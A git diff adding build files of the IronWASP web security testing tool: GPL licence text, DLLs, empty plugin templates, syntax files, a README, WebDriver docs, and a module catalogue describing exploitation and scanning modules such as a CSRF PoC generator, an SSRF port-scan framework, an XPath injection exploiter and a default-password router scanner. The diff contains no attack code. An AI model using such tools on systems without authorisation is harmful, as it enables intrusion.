OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read . \ No newline at end of file diff --git a/Iron/bin/Debug/Microsoft.Dynamic.dll b/Iron/bin/Debug/Microsoft.Dynamic.dll new file mode 100644 index 0000000..c8fee0e Binary files /dev/null and b/Iron/bin/Debug/Microsoft.Dynamic.dll differ diff --git a/Iron/bin/Debug/Microsoft.Scripting.Core.dll b/Iron/bin/Debug/Microsoft.Scripting.Core.dll new file mode 100644 index 0000000..b0c97f2 Binary files /dev/null and b/Iron/bin/Debug/Microsoft.Scripting.Core.dll differ diff --git a/Iron/bin/Debug/Microsoft.Scripting.Debugging.dll b/Iron/bin/Debug/Microsoft.Scripting.Debugging.dll new file mode 100644 index 0000000..b39a623 Binary files /dev/null and b/Iron/bin/Debug/Microsoft.Scripting.Debugging.dll differ diff --git a/Iron/bin/Debug/Microsoft.Scripting.ExtensionAttribute.dll b/Iron/bin/Debug/Microsoft.Scripting.ExtensionAttribute.dll new file mode 100644 index 0000000..4ddf4f9 Binary files /dev/null and b/Iron/bin/Debug/Microsoft.Scripting.ExtensionAttribute.dll differ diff --git a/Iron/bin/Debug/Microsoft.Scripting.dll b/Iron/bin/Debug/Microsoft.Scripting.dll new file mode 100644 index 0000000..aba0cde Binary files /dev/null and b/Iron/bin/Debug/Microsoft.Scripting.dll differ diff --git a/Iron/bin/Debug/ModulesDB.exe b/Iron/bin/Debug/ModulesDB.exe new file mode 100644 index 0000000..732ac4b --- /dev/null +++ b/Iron/bin/Debug/ModulesDB.exe @@ -0,0 +1,106 @@ + + + + Analysis + + HAWAS + 0.2 + HAWAS - Hybrid Analyzer for Web Application Security + Lavakumar Kuppan @lavakumark + https://github.com/lavakumar/hawas + no + no + no + A tool for analyzing the HTTP Proxy logs inside IronWASP and identifying interesting patterns and information. HAWAS identifies and decodeds encoded parameter values. Identifies and attempts to crack hashed parameter values. Highlights areas where user input might be stored on the server and reflected back as they are potential stored XSS candidates. It also lists all the parameter names and parameter values from the log for easy analysis by the tester. + + + + Vulnerability Scanners + + IronSAP + 0.2 + IronSAP - SAP Security Scanner + Prasanna K @prasannain + https://github.com/prasanna2204/IronSAP + no + yes + yes + https://github.com/prasanna2204/IronSAP + + + SSLSecurityChecker + 0.1 + SSL Security Checker + Manish Saindane @msaindane + https://github.com/GDSSecurity/SSLSecurityChecker + no + no + no + This is ported from the code found at http://www.bolet.org/TestSSLServer/ which was written by Thomas Pornin [pornin@bolet.org]. All credits for the orignal code goes to him. + + + WiHawk + 0.1 + WiHawk - WiFi Router Vulnerability Scanner + Anamika Singh @anami2111 + https://github.com/Anamika21/WiHawk + no + no + no + A tool for auditing a range of IP addresses to sniffout all wireless routers which are configured with default admin passwords and find out the routers which are vulnerable to Authentication bypass vulnerabilities. The tool provides capability to scan the network for vulnerable routers by taking input in one of the following formats: + 1. Single IP + 2. Range of IPs + 3. SHODAN Query (Requires a valid SHODAN API key) + + + + Utilities + + BodySaver + 0.1 + BodySaver - Save the body of the selected response to a file + Lavakumar Kuppan @lavakumark + https://github.com/lavakumar/bodysaver + yes + no + no + Saves the body of the response on which this module was run to a file of the user's choosing. + + + + Exploitation + + CSRFPOCGenerator + 0.2 + CSRF PoC Generator - Creates HTML file to recreate selected request from the browser + Jayesh Singh Chauhan @jayeshsch + https://github.com/jayeshchauhan + yes + no + no + Create a PoC for CSRF attacks in a split second. Right click any log and run this module to create a HTML file. When this file is opened from the browser, the browser will send a request similar to the one on which this module was run. It supports requests that have normal body format and also JSON and XML request body formats. + + + Skanda + 0.1 + OWASP Skanda - SSRF Exploitation Framework + Jayesh Singh Chauhan @jayeshsch + https://www.owasp.org/index.php/OWASP_Skanda_SSRF_Exploitation_Framework + yes + no + no + Performs port scan on a server vulnerable to Server-side Request Forgery vulnerability(SSRF). Right click on any log and run this module. Select the vulnerable injection points(GET/POST parameters) and session plugins if any are required. Port Status will be printed in the CLI. + + + XmlChor + 0.1 + XmlChor - Automatic XPATH Exploitation Tool + Harshal Jamdade @harshal2142 + https://github.com/Harshal35/XMLCHOR/tree/master + yes + no + no + XmlChor is an automated tool to help users in exploiting XPATH injection vulnerability in any web application. On successful exploitation XmlChor can extract sensitive data stored in the back-end XML database. + + + \ No newline at end of file diff --git a/Iron/bin/Debug/NewPythonActivePluginTemplate.txt b/Iron/bin/Debug/NewPythonActivePluginTemplate.txt new file mode 100644 index 0000000..6dab6e4 --- /dev/null +++ b/Iron/bin/Debug/NewPythonActivePluginTemplate.txt @@ -0,0 +1,15 @@ +from IronWASP import * +from System import * +import clr + +#Inherit from the base ActivePlugin class +class (ActivePlugin): + + #Override the Check method of the base class with custom functionlity + def Check(self, req, scnr): + + +p = () +p.Name = "Name of the Plugin inside Iron. Pick a short name without spaces and special characters like 'XSS', 'SQLi' etc. Name must be unique across all plugins" +p.Description = "Short Description of the Plugin, displayed in the Plugins section" +ActivePlugin.Add(p) diff --git a/Iron/bin/Debug/NewPythonFormatPluginTemplate.txt b/Iron/bin/Debug/NewPythonFormatPluginTemplate.txt new file mode 100644 index 0000000..bd39fb5 --- /dev/null +++ b/Iron/bin/Debug/NewPythonFormatPluginTemplate.txt @@ -0,0 +1,37 @@ +from IronWASP import * +from System import * +import clr + +#Inherit from the base FormatPlugin class +class (FormatPlugin): + + #Override the ToXmlFromRequest method of the base class with custom functionlity. Convert RequestBody in to Xml String and return it + def ToXmlFromRequest(self, req): + return self.ToXml(req.BodyArray) + + #Override the ToXmlFromResponse method of the base class with custom functionlity. Convert ResponseBody in to Xml String and return it + def ToXmlFromResponse(self, res): + return self.ToXml(res.BodyArray) + + #Override the ToXml method of the base class with custom functionlity. Convert ByteArray in to Xml String and return it + def ToXml(self, object_array): + + + #Override the ToRequestFromXml method of the base class with custom functionlity. Update Request based on Xml String input and return it + def ToRequestFromXml(self, req, xml): + req.BodyArray = self.ToObject(xml) + return req + + #Override the ToResponseFromXml method of the base class with custom functionlity. Update Response based on Xml String input and return it + def ToResponseFromXml(self, res, xml): + res.BodyArray = self.ToObject(xml) + return res + + #Override the ToObject method of the base class with custom functionlity. Convert the XmlString in to an Object and return it as ByteArray + def ToObject(self, xml_string): + + +p = () +p.Name = "Name of the Plugin inside Iron. Pick a short name without spaces and special characters like 'DoublePipeSeperator','CustomResponseBody' etc. Name must be unique across all plugins" +p.Description = "Short Description of the Plugin, displayed in the Plugins section" +FormatPlugin.Add(p) diff --git a/Iron/bin/Debug/NewPythonPassivePluginTemplate.txt b/Iron/bin/Debug/NewPythonPassivePluginTemplate.txt new file mode 100644 index 0000000..679e738 --- /dev/null +++ b/Iron/bin/Debug/NewPythonPassivePluginTemplate.txt @@ -0,0 +1,19 @@ +from IronWASP import * +from System import * +import clr + +#Inherit from the base PassivePlugin class +class (PassivePlugin): + + #Override the Check method of the base class with custom functionlity + def Check(self, sess, results): + + +p = () +p.Name = "Name of the Plugin inside Iron. Pick one without spaces and special characters like 'CreditCardScraper', 'SetCookieAnalyzer' etc. Name must be unique across all plugins" +p.Description = "Short Description of the Plugin, displayed in the Plugins section" +#When should this plugin be called. Possible values - BeforeInterception, AfterInterception, Both, Offline. Offline is the default value, it is also the recommended value if you are not going to perform any changes in the Request/Response +#p.CallingState = PluginCallingState.BeforeInterception +#On what should this plugin run. Possible values - Request, Response, Both +p.WorksOn = PluginWorksOn.Response +PassivePlugin.Add(p) diff --git a/Iron/bin/Debug/NewPythonScriptTemplate.txt b/Iron/bin/Debug/NewPythonScriptTemplate.txt new file mode 100644 index 0000000..6ffca1d --- /dev/null +++ b/Iron/bin/Debug/NewPythonScriptTemplate.txt @@ -0,0 +1,4 @@ +from IronWASP import * +from System import * +import clr + diff --git a/Iron/bin/Debug/NewPythonSessionPluginTemplate.txt b/Iron/bin/Debug/NewPythonSessionPluginTemplate.txt new file mode 100644 index 0000000..724f82b --- /dev/null +++ b/Iron/bin/Debug/NewPythonSessionPluginTemplate.txt @@ -0,0 +1,28 @@ +from IronWASP import * +from System import * +import clr +#Inherit from the base SessionPlugin class +class (SessionPlugin): + + #Override the Update method with custom code to check the validity of the Request/Response and update the Request. Returns Request + def Update(self, req, res): + req.SetCookie(res) + return req + + #Override the ProcessInjection method to update the Payload before it is injected. Returns String + def ProcessInjection(self, scnr, req, payload): + return payload + + #Override the PrepareForInjection method to make changes to the request or perform other steps before injecting. Returns Request + def PrepareForInjection(self, req): + return req + + #Override the GetInterestingResponse method to perform customs actions after the injection is done. Returns Response + def GetInterestingResponse(self, req, res): + return res + + +p = () +p.Name = "Name of the Plugin inside Iron. Pick a short name without spaces and special characters like 'AuthHandler', 'CsrfUpdater' etc. Name must be unique across all plugins" +p.Description = "Short Description of the Plugin, displayed in the Plugins section" +SessionPlugin.Add(p) diff --git a/Iron/bin/Debug/NewRubyActivePluginTemplate.txt b/Iron/bin/Debug/NewRubyActivePluginTemplate.txt new file mode 100644 index 0000000..b941d6c --- /dev/null +++ b/Iron/bin/Debug/NewRubyActivePluginTemplate.txt @@ -0,0 +1,15 @@ +include IronWASP + +#Inherit from the base ActivePlugin class +class < ActivePlugin + + #Override the Check method of the base class with custom functionlity + def Check(req, scnr) + + end +end + +p = .new +p.name = "Name of the Plugin inside Iron. Pick a short name without spaces and special characters like 'XSS', 'SQLi' etc. Name must be unique across all plugins" +p.description = "Short Description of the Plugin, displayed in the Plugins section" +ActivePlugin.add(p) diff --git a/Iron/bin/Debug/NewRubyFormatPluginTemplate.txt b/Iron/bin/Debug/NewRubyFormatPluginTemplate.txt new file mode 100644 index 0000000..6893f65 --- /dev/null +++ b/Iron/bin/Debug/NewRubyFormatPluginTemplate.txt @@ -0,0 +1,42 @@ +include IronWASP + +#Inherit from the base FormatPlugin class +class < FormatPlugin + + #Override the ToXmlFromRequest method of the base class with custom functionlity. Convert RequestBody in to Xml String and return it + def ToXmlFromRequest(req) + return ToXml(req.body_array) + end + + #Override the ToXmlFromResponse method of the base class with custom functionlity. Convert ResponseBody in to Xml String and return it + def ToXmlFromResponse(res) + return ToXml(res.body_array) + end + + #Override the ToXml method of the base class with custom functionlity. Convert ByteArray in to Xml String and return it + def ToXml(object_array) + + end + + #Override the ToRequestFromXml method of the base class with custom functionlity. Update Request based on Xml String input and return it + def ToRequestFromXml(req, xml) + req.body_array = ToObject(xml) + return req + end + + #Override the ToResponseFromXml method of the base class with custom functionlity. Update Response based on Xml String input and return it + def ToResponseFromXml(res, xml) + res.body_array = ToObject(xml) + return res + end + + #Override the ToObject method of the base class with custom functionlity. Convert the XmlString in to an Object and return it as ByteArray + def ToObject(xml_string) + + end +end + +p = .new +p.name = "Name of the Plugin inside Iron. Pick a short name without spaces and special characters like 'DoublePipeSeperator','CustomResponseBody' etc. Name must be unique across all plugins" +p.description = "Short Description of the Plugin, displayed in the Plugins section" +FormatPlugin.add(p) diff --git a/Iron/bin/Debug/NewRubyPassivePluginTemplate.txt b/Iron/bin/Debug/NewRubyPassivePluginTemplate.txt new file mode 100644 index 0000000..7cfbfdd --- /dev/null +++ b/Iron/bin/Debug/NewRubyPassivePluginTemplate.txt @@ -0,0 +1,19 @@ +include IronWASP + +#Inherit from the base PassivePlugin class +class < PassivePlugin + + #Override the Check method of the base class with custom functionality + def Check(sess, results) + + end +end + +p = .new +p.name = "Name of the Plugin inside Iron. Pick one without spaces and special characters like 'CreditCardScraper', 'SetCookieAnalyzer' etc. Name must be unique across all plugins" +p.description = "Short Description of the Plugin, displayed in the Plugins section" +#When should this plugin be called. Possible values - before_interception, after_interception, both +#p.calling_state = PluginCallingState.before_interception +#On what should this plugin run. Possible values - request, response, both, offline. offline is the default value, it is also the recommended value if you are not going to perform any changes in the request/response +p.works_on = PluginWorksOn.response +PassivePlugin.add(p) diff --git a/Iron/bin/Debug/NewRubyScriptTemplate.txt b/Iron/bin/Debug/NewRubyScriptTemplate.txt new file mode 100644 index 0000000..b691303 --- /dev/null +++ b/Iron/bin/Debug/NewRubyScriptTemplate.txt @@ -0,0 +1,2 @@ +include IronWASP + diff --git a/Iron/bin/Debug/NewRubySessionPluginTemplate.txt b/Iron/bin/Debug/NewRubySessionPluginTemplate.txt new file mode 100644 index 0000000..726b044 --- /dev/null +++ b/Iron/bin/Debug/NewRubySessionPluginTemplate.txt @@ -0,0 +1,32 @@ +include IronWASP + +#Inherit from the base SessionPlugin class +class < SessionPlugin + + #Override the Update method with custom code to check the validity of the Request/Response and update the Request. Returns Request + def Update(req, res) + req.set_cookie(res) + return req + end + + #Override the PrepareForInjection method to make changes to the request or perform other steps before injecting. Returns Request + def PrepareForInjection(req) + return req + end + + #Override the ProcessInjection method to update the Payload before it is injected. Returns String + def ProcessInjection(scnr, req, payload) + return payload + end + + #Override the GetInterestingResponse method to perform customs actions after the injection is done. Returns Response + def GetInterestingResponse(req, res) + return res + end + +end + +p = .new +p.name = "Name of the Plugin inside Iron. Pick a short name without spaces and special characters like 'AuthHandler', 'CsrfUpdater' etc. Name must be unique across all plugins" +p.description = "Short Description of the Plugin, displayed in the Plugins section" +SessionPlugin.add(p) diff --git a/Iron/bin/Debug/Newtonsoft.Json.Net20.dll b/Iron/bin/Debug/Newtonsoft.Json.Net20.dll new file mode 100644 index 0000000..6f199d6 Binary files /dev/null and b/Iron/bin/Debug/Newtonsoft.Json.Net20.dll differ diff --git a/Iron/bin/Debug/Newtonsoft.Json.dll b/Iron/bin/Debug/Newtonsoft.Json.dll new file mode 100644 index 0000000..5f3d9bd Binary files /dev/null and b/Iron/bin/Debug/Newtonsoft.Json.dll differ diff --git a/Iron/bin/Debug/Python.xshd b/Iron/bin/Debug/Python.xshd new file mode 100644 index 0000000..f73c951 --- /dev/null +++ b/Iron/bin/Debug/Python.xshd @@ -0,0 +1,124 @@ + + + + + + + + + + + + ()[]{}@,:.`=;+-*/% &|^>< + + + """ + """ + + + + ''' + ''' + + + + # + + + + " + " + + + + ' + ' + + + ( + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Iron/bin/Debug/README.txt b/Iron/bin/Debug/README.txt new file mode 100644 index 0000000..0868478 --- /dev/null +++ b/Iron/bin/Debug/README.txt @@ -0,0 +1,12 @@ +Hello, by downloading IronWASP you have taken the first step towards making your Web Security testing process more efficient. + +Simply double-click the file named IronWASP.exe to get started. IronWASP DOES NOT require installation or administrative rights to work. + +IMPORTANT: Please read COPYRIGHT.txt before using the software. + + +There is a DemoApp application available that can be used for testing some of the features of IronWASP. The DemoApp can be started by executing DemoApp.exe. + +The Session Plugins packaged with IronWASP are desgined for the DemoApp, they can be used as reference for creating your own Session Plugins. + +For more details check the 'About' section in the menu inside IronWASP and the 'Learn' section on ironwasp.org diff --git a/Iron/bin/Debug/RenderHtml.exe b/Iron/bin/Debug/RenderHtml.exe new file mode 100644 index 0000000..c4640df Binary files /dev/null and b/Iron/bin/Debug/RenderHtml.exe differ diff --git a/Iron/bin/Debug/Ruby.xshd b/Iron/bin/Debug/Ruby.xshd new file mode 100644 index 0000000..49a9ddb --- /dev/null +++ b/Iron/bin/Debug/Ruby.xshd @@ -0,0 +1,193 @@ + + + + + + + + + + + + ()[]{}@,:.`=;+-*/%~ &|^>< + + + ' + ' + + + + """ + """ + + + + =begin + =end + + + + # + + + + " + " + + + ( + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Iron/bin/Debug/SyntaxModes.xml b/Iron/bin/Debug/SyntaxModes.xml new file mode 100644 index 0000000..8002656 --- /dev/null +++ b/Iron/bin/Debug/SyntaxModes.xml @@ -0,0 +1,8 @@ + + + + diff --git a/Iron/bin/Debug/System.Data.SQLite.DLL b/Iron/bin/Debug/System.Data.SQLite.DLL new file mode 100644 index 0000000..aa398bb Binary files /dev/null and b/Iron/bin/Debug/System.Data.SQLite.DLL differ diff --git a/Iron/bin/Debug/TestSSLServer.dll b/Iron/bin/Debug/TestSSLServer.dll new file mode 100644 index 0000000..7dfb781 Binary files /dev/null and b/Iron/bin/Debug/TestSSLServer.dll differ diff --git a/Iron/bin/Debug/Updater.exe b/Iron/bin/Debug/Updater.exe new file mode 100644 index 0000000..87f3eb1 Binary files /dev/null and b/Iron/bin/Debug/Updater.exe differ diff --git a/Iron/bin/Debug/WebDriver.dll b/Iron/bin/Debug/WebDriver.dll new file mode 100644 index 0000000..3b38e08 Binary files /dev/null and b/Iron/bin/Debug/WebDriver.dll differ diff --git a/Iron/bin/Debug/WebDriver.xml b/Iron/bin/Debug/WebDriver.xml new file mode 100644 index 0000000..2bcd8f1 --- /dev/null +++ b/Iron/bin/Debug/WebDriver.xml @@ -0,0 +1,17566 @@ + + + + WebDriver + + + + + Provides a mechanism by which to find elements within a document. + + It is possible to create your own locating mechanisms for finding documents. + In order to do this,subclass this class and override the protected methods. However, + it is expected that that all subclasses rely on the basic finding mechanisms provided + through static methods of this class. An example of this can be found in OpenQA.Support.ByIdOrName + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class using the given functions to find elements. + + A function that takes an object implementing + and returns the found . + A function that takes an object implementing + and returns a of the foundIWebElements. + IWebElements/>. + + + + Gets a mechanism to find elements by their ID. + + The ID to find. + A object the driver can use to find the elements. + + + + Gets a mechanism to find elements by their link text. + + The link text to find. + A object the driver can use to find the elements. + + + + Gets a mechanism to find elements by their name. + + The name to find. + A object the driver can use to find the elements. + + + + Gets a mechanism to find elements by an XPath query. + When searching within a WebElement using xpath be aware that WebDriver follows standard conventions: + a search prefixed with "//" will search the entire document, not just the children of this current node. + Use ".//" to limit your search to the children of this WebElement. + + The XPath query to use. + A object the driver can use to find the elements. + + + + Gets a mechanism to find elements by their CSS class. + + The CSS class to find. + A object the driver can use to find the elements. + If an element has many classes then this will match against each of them. + For example if the value is "one two onone", then the following values for the + className parameter will match: "one" and "two". + + + + Gets a mechanism to find elements by a partial match on their link text. + + The partial link text to find. + A object the driver can use to find the elements. + + + + Gets a mechanism to find elements by their tag name. + + The tag name to find. + A object the driver can use to find the elements. + + + + Gets a mechanism to find elements by their cascading style sheet (CSS) selector. + + The CSS selector to find. + A object the driver can use to find the elements. + + + + Determines if two instances are equal. + + One instance to compare. + The other instance to compare. + + if the two instances are equal; otherwise, . + + + + Determines if two instances are unequal. + s + One instance to compare.The other instance to compare. if the two instances are not equal; otherwise, . + + + Finds the first element matching the criteria. + + An object to use to search for the elements. + The first matching on the current context. + + + + Finds all elements matching the criteria. + + An object to use to search for the elements. + A of all WebElements + matching the current criteria, or an empty list if nothing matches. + + + + Gets a string representation of the finder. + + The string displaying the finder content. + + + + Determines whether the specified Object is equal + to the current Object. + + The Object to compare with the + current Object. + + if the specified Object + is equal to the current Object; otherwise, + . + + + + Serves as a hash function for a particular type. + + A hash code for the current Object. + + + + Gets or sets the value of the description for this class instance. + + + + + Gets or sets the method used to find a single element matching specified criteria. + + + + + Gets or sets the method used to find all elements matching specified criteria. + + + + + Represents a cookie in the browser. + + + + + Initializes a new instance of the class with a specific name, + value, domain, path and expiration date. + + The name of the cookie. + The value of the cookie. + The domain of the cookie. + The path of the cookie. + The expiration date of the cookie. + If the name is or an empty string, + or if it contains a semi-colon. + If the value is . + + + + Initializes a new instance of the class with a specific name, + value, path and expiration date. + + The name of the cookie. + The value of the cookie. + The path of the cookie. + The expiration date of the cookie. + If the name is or an empty string, + or if it contains a semi-colon. + If the value is . + + + + Initializes a new instance of the class with a specific name, + value, and path. + + The name of the cookie. + The value of the cookie. + The path of the cookie. + If the name is or an empty string, + or if it contains a semi-colon. + If the value is . + + + + Initializes a new instance of the class with a specific name and value. + + The name of the cookie. + The value of the cookie. + If the name is or an empty string, + or if it contains a semi-colon. + If the value is . + + + + Creates and returns a string representation of the cookie. + + A string representation of the cookie. + + + + Determines whether the specified Object is equal + to the current Object. + + The Object to compare with the + current Object. + + if the specified Object + is equal to the current Object; otherwise, + . + + + + Serves as a hash function for a particular type. + + A hash code for the current Object. + + + + Gets the name of the cookie. + + + + + Gets the value of the cookie. + + + + + Gets the domain of the cookie. + + + + + Gets the path of the cookie. + + + + + Gets a value indicating whether the cookie is secure. + + + + + Gets the expiration date of the cookie. + + + + + Defines an object responsible for detecting sequences of keystrokes + representing file paths and names. + + + + + Returns a value indicating whether a specified key sequence represents + a file name and path. + + The sequence to test for file existence. + + if the key sequence represents a file; otherwise, . + + + + Represents the default file detector for determining whether a file + must be uploaded to a remote server. + + + + + Returns a value indicating whether a specified key sequence represents + a file name and path. + + The sequence to test for file existence. + This method always returns in this implementation. + + + + Exposes the service provided by a native WebDriver server executable. + + + + + Initializes a new instance of the DriverService class. + + The full path to the directory containing the executable providing the service to drive the browser. + The port on which the driver executable should listen. + The file name of the driver service executable. + A URL at which the driver service executable may be downloaded. + + If the path specified is or an empty string. + + + If the specified driver service executable does not exist in the specified directory. + + + + + Releases all resources associated with this . + + + + + Starts the DriverService. + + + + + Finds the specified driver service executable. + + The file name of the executable to find. + A URL at which the driver service executable may be downloaded. + The directory containing the driver service executable. + + If the specified driver service executable does not exist in the current directory or in a directory on the system path. + + + + + Releases all resources associated with this . + + + if the Dispose method was explicitly called; otherwise, . + + + + Stops the DriverService. + + + + + Gets the Uri of the service. + + + + + Gets or sets the port of the service. + + + + + Gets or sets a value indicating whether the initial diagnostic information is suppressed + when starting the driver server executable. Defaults to , meaning + diagnostic information should be shown by the driver server executable. + + + + + Gets a value indicating whether the service is running. + + + + + Gets the executable file name of the driver service. + + + + + Gets the command-line arguments for the driver service. + + + + + Represents exceptions that are thrown when an error occurs during actions. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with + a specified error message. + + The message that describes the error. + + + + Initializes a new instance of the class with + a specified error message and a reference to the inner exception that is the + cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, + or if no inner exception is specified. + + + + Initializes a new instance of the class with serialized data. + + The that holds the serialized + object data about the exception being thrown. + The that contains contextual + information about the source or destination. + + + + The exception that is thrown when an element is not visible. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with + a specified error message. + + The message that describes the error. + + + + Initializes a new instance of the class with + a specified error message and a reference to the inner exception that is the + cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, + or if no inner exception is specified. + + + + Initializes a new instance of the class with serialized data. + + The that holds the serialized + object data about the exception being thrown. + The that contains contextual + information about the source or destination. + + + + The exception that is thrown when an element is not visible. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with + a specified error message. + + The message that describes the error. + + + + Initializes a new instance of the class with + a specified error message and a reference to the inner exception that is the + cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, + or if no inner exception is specified. + + + + Initializes a new instance of the class with serialized data. + + The that holds the serialized + object data about the exception being thrown. + The that contains contextual + information about the source or destination. + + + + Defines the interface through which the user can manipulate JavaScript alerts. + + + + + Dismisses the alert. + + + + + Accepts the alert. + + + + + Sends keys to the alert. + + The keystrokes to send. + + + + Gets the text of the alert. + + + + + Interface determining whether the driver implementation allows detection of files + when sending keystrokes to a file upload element. + + + + + Gets or sets the responsible for detecting + sequences of keystrokes representing file paths and names. + + + + + Capabilities of the browser that you are going to use + + + + + Gets a value indicating whether the browser has a given capability. + + The capability to get. + Returns if the browser has the capability; otherwise, . + + + + Gets a capability of the browser. + + The capability to get. + An object associated with the capability, or + if the capability is not set on the browser. + + + + Gets the browser name + + + + + Gets the platform + + + + + Gets the browser version + + + + + Gets a value indicating whether the browser is JavaScript enabled + + + + + Defines an interface allowing the user to manipulate cookies on the current page. + + + + + Adds a cookie to the current page. + + The object to be added. + + + + Gets a cookie with the specified name. + + The name of the cookie to retrieve. + The containing the name. Returns + if no cookie with the specified name is found. + + + + Deletes the specified cookie from the page. + + The to be deleted. + + + + Deletes the cookie with the specified name from the page. + + The name of the cookie to be deleted. + + + + Deletes all cookies from the page. + + + + + Gets all cookies defined for the current page. + + + + + Defines the interface through which the user can determine the capabilities of a driver. + + + + + Gets the object describing the driver's capabilities. + + + + + Provides access to input devices for advanced user interactions. + + + + + Gets an object for sending keystrokes to the browser. + + + + + Gets an object for sending mouse commands to the browser. + + + + + Interface implemented by each driver that allows access to touch screen capabilities. + + + + + Gets the device representing the touch screen. + + + + + Defines the interface through which the user can execute JavaScript. + + + + + Executes JavaScript in the context of the currently selected frame or window. + + The JavaScript code to execute. + The arguments to the script. + The value returned by the script. + + + The method executes JavaScript in the context of + the currently selected frame or window. This means that "document" will refer + to the current document. If the script has a return value, then the following + steps will be taken: + + + + + For an HTML element, this method returns a + + + For a number, a is returned + + + For a boolean, a is returned + + + For all other cases a is returned. + + + For an array,we check the first element, and attempt to return a + of that type, following the rules above. Nested lists are not + supported. + + + If the value is null or there is no return value, + is returned. + + + + + Arguments must be a number (which will be converted to a ), + a , a or a . + An exception will be thrown if the arguments do not meet these criteria. + The arguments will be made available to the JavaScript via the "arguments" magic + variable, as if the function were called via "Function.apply" + + + + + + Executes JavaScript asynchronously in the context of the currently selected frame or window. + + The JavaScript code to execute. + The arguments to the script. + The value returned by the script. + + + + Provides methods representing basic keyboard actions. + + + + + Sends a sequence of keystrokes to the target. + + A string representing the keystrokes to send. + + + + Presses a key. + + The key value representing the key to press. + The key value must be one of the values from the class. + + + + Releases a key. + + The key value representing the key to release. + The key value must be one of the values from the class. + + + + The exception that is thrown when an attempt is made to locate an item using invalid criteria. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with + a specified error message. + + The message that describes the error. + + + + Initializes a new instance of the class with + a specified error message and a reference to the inner exception that is the + cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, + or if no inner exception is specified. + + + + Initializes a new instance of the class with serialized data. + + The that holds the serialized + object data about the exception being thrown. + The that contains contextual + information about the source or destination. + + + + Defines the interface through which the user can discover where an element is on the screen. + + + + + Gets the location of an element on the screen, scrolling it into view + if it is not currently on the screen. + + + + + Gets the coordinates identifying the location of this element using + various frames of reference. + + + + + Provides methods representing basic mouse actions. + + + + + Clicks at a set of coordinates using the primary mouse button. + + An describing where to click. + + + + Double-clicks at a set of coordinates. + + A describing where to double-click. + + + + Presses the primary mouse button at a set of coordinates. + + A describing where to press the mouse button down. + + + + Releases the primary mouse button at a set of coordinates. + + A describing where to release the mouse button. + + + + Moves the mouse to the specified set of coordinates. + + A describing where to move the mouse to. + + + + Moves the mouse to the specified set of coordinates. + + A describing where to click. + A horizontal offset from the coordinates specified in . + A vertical offset from the coordinates specified in . + + + + Clicks at a set of coordinates using the secondary mouse button. + + A describing where to click. + + + + Defines an interface allowing the user to access the browser's history and to + navigate to a given URL. + + + + + Move back a single entry in the browser's history. + + + + + Move a single "item" forward in the browser's history. + + Does nothing if we are on the latest page viewed. + + + + Load a new web page in the current browser window. + + The URL to load. It is best to use a fully qualified URL + + Calling the method will load a new web page in the current browser window. + This is done using an HTTP GET operation, and the method will block until the + load is complete. This will follow 